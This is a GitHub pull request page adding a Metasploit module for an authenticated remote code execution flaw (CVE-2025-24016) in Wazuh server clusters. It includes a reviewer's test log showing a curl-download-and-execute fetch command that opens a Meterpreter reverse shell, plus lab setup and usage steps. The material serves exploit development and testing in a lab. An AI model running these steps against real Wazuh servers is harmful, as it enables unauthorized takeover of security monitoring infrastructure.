Wazuh Server authenticated RCE [CVE-2025-24016] #20387
Open
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|
Hey @h00die-gr3y, interesting! Actually I had tried to work on this CVE a few weeks ago but no way to trigger the RCE, did you also encounter this issue? If so, how did you make your lab work? Thank you |
Ha @Chocapikk, it is indeed a bit complicated to trigger the vulnerable code. It only gets triggered when you leverage the distributed API function. So you need a Wazuh multi-node cluster configuration as an installation baseline to make this work. Module in action |
adfoster-r7
reviewed
Jul 17, 2025
adfoster-r7
reviewed
Jul 17, 2025
jheysel-r7
reviewed
Jul 22, 2025
There was a problem hiding this comment.
Thanks for the module @h00die-gr3y. Two minor comments, testing was as expected.
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rhost 172.16.199.136
rhost => 172.16.199.136
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rport 56000
rport => 56000
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set verbose true
verbose => true
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set fetch_writable_dir /tmp
fetch_writable_dir => /tmp
rmsf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > run
[*] Command to run on remote host: curl -so /tmp/TOEawJUtQ http://172.16.199.1:8080/aABri8OxO6gqI8OwLitk4g;chmod +x /tmp/TOEawJUtQ;/tmp/TOEawJUtQ&
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /aABri8OxO6gqI8OwLitk4g
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Client 172.16.199.136 requested /aABri8OxO6gqI8OwLitk4g
[*] Sending payload to 172.16.199.136 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.16.199.136
[*] Meterpreter session 1 opened (172.16.199.1:5555 -> 172.16.199.136:33950) at 2025-07-21 16:30:21 -0700
meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer : wazuh.master
OS : (Linux 6.2.0-34-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md
Outdated
Show resolved
Hide resolved
jheysel-r7
added
module
docs
rn-modules
sjanusz-r7
reviewed
Jul 24, 2025
|
Gents, any update? |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version
4.4.0and prior to version4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.DistributedAPI parameters are a serialized as JSON and deserialized using
as_wazuh_object(in/var/ossec/framework/wazuh/core/cluster/common.py). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (__unhandled_exc__) to evaluate arbitrary python code.The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent.
The following Wazuh release has been tested:
See also this attackerkb article for more info.
Installation steps to install the Wazuh Server application
Dockeron your preferred platform.docker-compose.ymlfile in themulti-nodedirectory by adding the line- "56000:55000"to the ports configuration of the wazuh.worker section to expose port55000to the outside world on port56000.4.8.2version in theymlfile to pull different versions.docker-compose up -dto install and run the Wazuh server cluster environment.https://localhostwith an active Wazuh server cluster running.docker-compose down.You are now ready to test the module.
IMPORTANT NOTE:
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. It is important to understand that the worker-server port (
55000) should be exposed to the outside world in order to trigger this vulnerability. In the above lab setup, it is exposed on port56000(see thedocker-compose.ymlfile)Using it directly on the master-server port (
55000) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.Verification Steps
msfconsoleuse exploit/linux/http/wazuh_auth_rce_cve_2025_24016set rhosts <ip-target>set rport <port>set lhost <attacker-ip>set target <0=Unix/Linux Command>exploityou should get a
reverse shellorMeterpretersession depending on thepayloadandtargetsettings.